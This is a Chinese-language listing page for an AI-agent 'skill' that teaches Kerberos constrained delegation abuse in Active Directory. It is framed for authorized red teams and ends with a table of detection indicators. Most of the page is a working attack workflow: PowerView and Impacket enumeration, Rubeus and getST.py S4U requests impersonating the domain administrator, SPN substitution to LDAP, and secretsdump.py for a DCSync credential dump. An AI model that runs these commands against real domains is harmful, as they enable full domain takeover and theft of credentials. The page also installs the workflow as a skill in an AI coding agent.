关于 exploiting-constrained-delegation-abuse
面向授权红队和渗透测试人员的 Active Directory 安全测试技能,讲解枚举 Kerberos 约束委派配置并利用 S4U 扩展测试其风险,也涵盖相关检测迹象。
主要功能
- 01枚举约束委派账户与目标
- 02使用 S4U2self 和 S4U2proxy 请求票据
- 03测试替代服务名称与协议转换
- 04识别票据请求和委派配置变更迹象
适用场景
- 01在授权测试中评估委派配置风险
- 02分析受控环境中的攻击痕迹
- 03构建针对委派滥用的检测能力
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-constrained-delegation-abuse安装后在 Claude Code 中输入/exploiting-constrained-delegation-abuse确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.py详细介绍
利用约束委派滥用
法律声明: 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统进行使用是违法的,并可能违反计算机欺诈相关法律。
概述
Kerberos 约束委派(KCD)是 Windows Active Directory 的一项功能,允许某个服务模拟用户并代表该用户访问特定服务。委派目标定义在 msDS-AllowedToDelegateTo 属性中。当攻击者攻陷了配置了约束委派的账户(尤其是带有 TRUSTED_TO_AUTH_FOR_DELEGATION 标志的账户)时,他们可以利用 S4U2self 和 S4U2proxy Kerberos 协议扩展,以任意用户(包括域管理员)的身份向被委派的服务请求服务票据。如果委派目标包含域控制器上的 CIFS、HTTP 或 LDAP 等服务,这将导致整个域被攻陷。S4U2self 扩展代表任意用户向被攻陷的服务请求可转发票据,S4U2proxy 则将该票据转发到允许的委派目标。
何时使用
- 在进行涉及利用约束委派滥用的经授权安全测试时
- 在受控环境中分析恶意软件样本或攻击痕迹时
- 在开展红队演练或渗透测试项目时
- 在基于对攻击技术的理解构建检测能力时
前提条件
- 熟悉红队概念和工具
- 拥有可用于安全执行的测试或实验环境
- Python 3.8+ 并安装了所需依赖
- 对任何测试活动拥有适当授权
目标
- 枚举域中配置了约束委派的账户
- 识别高价值服务的委派目标(msDS-AllowedToDelegateTo)
- 利用 S4U2self 和 S4U2proxy 模拟域管理员
- 以特权用户身份获取被委派服务的服务票据
- 访问目标主机上的被委派服务(CIFS、LDAP、HTTP)
- 通过约束委派滥用提升至域管理员
MITRE ATT&CK 映射
- T1558.003 - 窃取或伪造 Kerberos 票据:Kerberoasting
- T1550.003 - 使用替代认证材料:传递票据
- T1134.001 - 访问令牌操纵:令牌模拟/窃取
- T1078.002 - 有效账户:域账户
- T1021 - 远程服务
工作流
阶段 1:枚举约束委派
- 使用 PowerView 查找配置了约束委派的账户:
# Find users with Constrained Delegation Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto # Find computers with Constrained Delegation Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto # Using AD Module Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl - 使用 Impacket 的 findDelegation.py:
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1 - 使用 BloodHound CE:
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name, c.allowedtodelegate - 检查是否存在 TRUSTED_TO_AUTH_FOR_DELEGATION 标志(协议转换):
# UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
阶段 2:使用 Rubeus 利用(Windows)
- 如果您拥有约束委派账户的密码或哈希:
# Request TGT for the constrained delegation account Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash> # Perform S4U2self + S4U2proxy to impersonate administrator Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /ptt # Alternative: specify alternate service name Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt - 在单条命令中组合 TGT 请求和 S4U:
Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
阶段 3:使用 Impacket 利用(Linux)
- 通过 S4U 协议扩展请求服务票据:
# Using getST.py with S4U getST.py -spn CIFS/DC01.domain.local -impersonate administrator \ -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123' # Using hash instead of password getST.py -spn CIFS/DC01.domain.local -impersonate administrator \ -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \ -dc-ip 10.10.10.1 domain.local/svc_sql # Use the obtained ticket export KRB5CCNAME=administrator.ccache smbclient.py -k -no-pass domain.local/[email protected]
阶段 4:替代服务名称滥用
- Kerberos 服务票据不会针对票据中的 SPN 进行验证,从而允许 SPN 替换:
# Request CIFS ticket, then use it for LDAP (DCSync) getST.py -spn CIFS/DC01.domain.local -impersonate administrator \ -altservice LDAP/DC01.domain.local \ -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123' export KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass domain.local/[email protected] - 该技术之所以有效,是因为票据中的服务名称未与会话密钥进行密码学绑定
阶段 5:协议转换攻击
- 如果该账户具有 TRUSTED_TO_AUTH_FOR_DELEGATION:
# S4U2self obtains a forwardable ticket without requiring the user to authenticate # This means we can impersonate ANY user without their password getST.py -spn CIFS/DC01.domain.local -impersonate administrator \ -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123' - 如果没有 TRUSTED_TO_AUTH_FOR_DELEGATION,S4U2self 票据不可转发,S4U2proxy 将失败(除非使用基于资源的约束委派)
工具与资源
| 工具 | 用途 | 平台 |
|---|---|---|
| Rubeus | S4U Kerberos 票据操作 | Windows (.NET) |
| getST.py | S4U 服务票据请求(Impacket) | Linux (Python) |
| findDelegation.py | 委派枚举(Impacket) | Linux (Python) |
| PowerView | AD 委派枚举 | Windows (PowerShell) |
| BloodHound CE | 可视化委派路径分析 | Docker |
| Kekeo | 高级 Kerberos 工具包 | Windows |
委派类型对比
| 类型 | 属性 | 范围 | 攻击复杂度 |
|---|---|---|---|
| 无约束 | TRUSTED_FOR_DELEGATION | 任意服务 | 低(捕获 TGT) |
| 约束 | msDS-AllowedToDelegateTo | 特定 SPN | 中(S4U 滥用) |
| 约束 + 协议转换 | + TRUSTED_TO_AUTH_FOR_DELEGATION | 特定 SPN | 中(无需用户认证) |
| 基于资源(RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity | 目标上 | 中(可写属性) |
检测特征
| 指标 | 检测方法 |
|---|---|
| S4U2self 票据请求 | 事件 4769,具有异常服务和模拟 |
| S4U2proxy 转发票据 | 事件 4769,设置了委派标志 |
| 票据中的备用服务名称 | 请求的 SPN 与实际服务访问之间的不匹配 |
| Rubeus.exe 执行 | EDR 进程检测、命令行日志记录 |
| 委派配置更改 | 针对 msDS-AllowedToDelegateTo 修改的事件 5136 |
验证标准
- 枚举具有约束委派的账户
- 识别委派目标(msDS-AllowedToDelegateTo)
- 为目标用户获取 S4U2self 票据
- 将 S4U2proxy 票据转发到委派目标
- 验证对委派服务的特权访问
- 测试备用服务名称替换
- 评估协议转换能力
- 使用票据导出和访问证明记录证据
评论
支持 Markdown